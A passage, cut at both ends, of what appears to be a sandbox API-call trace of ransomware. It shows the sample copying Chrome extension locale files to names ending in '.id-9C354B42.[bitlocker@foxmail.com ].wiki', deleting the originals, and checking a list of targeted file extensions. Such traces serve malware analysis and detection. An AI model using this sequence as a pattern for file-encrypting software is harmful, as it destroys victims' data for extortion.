Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.730] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.730] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.730] GetLastError () returned 0x0 [0173.730] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x103, lpOverlapped=0x0) returned 1 [0173.732] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x110, lpOverlapped=0x0) returned 1 [0173.732] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.733] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.733] SetEndOfFile (hFile=0x1a0) returned 1 [0173.733] CloseHandle (hObject=0x1a0) returned 1 [0173.733] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.733] SetEndOfFile (hFile=0x19c) returned 1 [0173.734] CloseHandle (hObject=0x19c) returned 1 [0173.734] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.734] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json")) returned 1 [0173.734] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 156 [0173.734] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 156 [0173.734] lstrlenW (lpString=".doc") returned 4 [0173.734] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.734] lstrlenW (lpString=".docx") returned 5 [0173.734] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.734] lstrlenW (lpString=".pdf") returned 4 [0173.734] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.734] lstrlenW (lpString=".xls") returned 4 [0173.734] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.734] lstrlenW (lpString=".xlsx") returned 5 [0173.734] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.734] lstrlenW (lpString=".ppt") returned 4 [0173.734] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.735] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 156 [0173.735] lstrlenW (lpString=".zip") returned 4 [0173.735] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.735] lstrlenW (lpString=".rar") returned 4 [0173.735] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.735] lstrlenW (lpString=".bz2") returned 4 [0173.735] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.735] lstrlenW (lpString=".7z") returned 3 [0173.735] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.735] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 156 [0173.735] lstrlenW (lpString=".dbf") returned 4 [0173.735] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.735] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 156 [0173.735] lstrlenW (lpString=".1cd") returned 4 [0173.735] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.735] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 156 [0173.735] lstrlenW (lpString=".jpg") returned 4 [0173.735] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.735] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 156 [0173.735] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 156 [0173.735] lstrlenW (lpString=".doc") returned 4 [0173.735] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.735] lstrlenW (lpString=".docx") returned 5 [0173.735] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.735] lstrlenW (lpString=".pdf") returned 4 [0173.735] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.735] lstrlenW (lpString=".xls") returned 4 [0173.735] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.735] lstrlenW (lpString=".xlsx") returned 5 [0173.736] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.736] lstrlenW (lpString=".ppt") returned 4 [0173.736] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.736] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 156 [0173.736] lstrlenW (lpString=".zip") returned 4 [0173.736] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.736] lstrlenW (lpString=".rar") returned 4 [0173.736] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.736] lstrlenW (lpString=".bz2") returned 4 [0173.736] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.736] lstrlenW (lpString=".7z") returned 3 [0173.736] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.736] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 156 [0173.736] lstrlenW (lpString=".dbf") returned 4 [0173.736] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.736] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 156 [0173.736] lstrlenW (lpString=".1cd") returned 4 [0173.736] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.736] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 156 [0173.736] lstrlenW (lpString=".jpg") returned 4 [0173.736] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.736] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.736] lstrlenW (lpString="messages.json") returned 13 [0173.736] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.737] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=251) returned 1 [0173.737] CloseHandle (hObject=0x19c) returned 1 [0173.737] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json")) returned 0x2020 [0173.737] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.737] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.737] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.738] GetLastError () returned 0x0 [0173.738] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xfb, lpOverlapped=0x0) returned 1 [0173.739] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x100, lpOverlapped=0x0) returned 1 [0173.740] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.740] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.740] SetEndOfFile (hFile=0x1a0) returned 1 [0173.740] CloseHandle (hObject=0x1a0) returned 1 [0173.740] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.740] SetEndOfFile (hFile=0x19c) returned 1 [0173.741] CloseHandle (hObject=0x19c) returned 1 [0173.741] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.741] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json")) returned 1 [0173.741] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 152 [0173.741] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 152 [0173.741] lstrlenW (lpString=".doc") returned 4 [0173.741] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.741] lstrlenW (lpString=".docx") returned 5 [0173.741] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.741] lstrlenW (lpString=".pdf") returned 4 [0173.741] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.741] lstrlenW (lpString=".xls") returned 4 [0173.741] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.741] lstrlenW (lpString=".xlsx") returned 5 [0173.741] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.742] lstrlenW (lpString=".ppt") returned 4 [0173.742] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.742] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 152 [0173.742] lstrlenW (lpString=".zip") returned 4 [0173.742] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.742] lstrlenW (lpString=".rar") returned 4 [0173.742] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.742] lstrlenW (lpString=".bz2") returned 4 [0173.742] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.742] lstrlenW (lpString=".7z") returned 3 [0173.742] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.742] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 152 [0173.742] lstrlenW (lpString=".dbf") returned 4 [0173.742] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.742] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 152 [0173.742] lstrlenW (lpString=".1cd") returned 4 [0173.742] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.742] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 152 [0173.742] lstrlenW (lpString=".jpg") returned 4 [0173.742] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.742] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 152 [0173.742] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 152 [0173.742] lstrlenW (lpString=".doc") returned 4 [0173.742] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.742] lstrlenW (lpString=".docx") returned 5 [0173.742] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.742] lstrlenW (lpString=".pdf") returned 4 [0173.742] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.742] lstrlenW (lpString=".xls") returned 4 [0173.742] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.742] lstrlenW (lpString=".xlsx") returned 5 [0173.743] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.743] lstrlenW (lpString=".ppt") returned 4 [0173.743] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.743] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 152 [0173.743] lstrlenW (lpString=".zip") returned 4 [0173.743] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.743] lstrlenW (lpString=".rar") returned 4 [0173.743] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.743] lstrlenW (lpString=".bz2") returned 4 [0173.743] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.743] lstrlenW (lpString=".7z") returned 3 [0173.743] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.743] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 152 [0173.743] lstrlenW (lpString=".dbf") returned 4 [0173.743] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.743] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 152 [0173.743] lstrlenW (lpString=".1cd") returned 4 [0173.743] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.743] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned 152 [0173.743] lstrlenW (lpString=".jpg") returned 4 [0173.743] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.743] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.743] lstrlenW (lpString="messages.json") returned 13 [0173.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.744] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=243) returned 1 [0173.744] CloseHandle (hObject=0x19c) returned 1 [0173.744] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json")) returned 0x2020 [0173.744] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.744] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.744] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.744] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.744] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.745] GetLastError () returned 0x0 [0173.745] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xf3, lpOverlapped=0x0) returned 1 [0173.746] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x100, lpOverlapped=0x0) returned 1 [0173.747] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.747] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.747] SetEndOfFile (hFile=0x1a0) returned 1 [0173.747] CloseHandle (hObject=0x1a0) returned 1 [0173.747] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.747] SetEndOfFile (hFile=0x19c) returned 1 [0173.748] CloseHandle (hObject=0x19c) returned 1 [0173.748] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.748] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 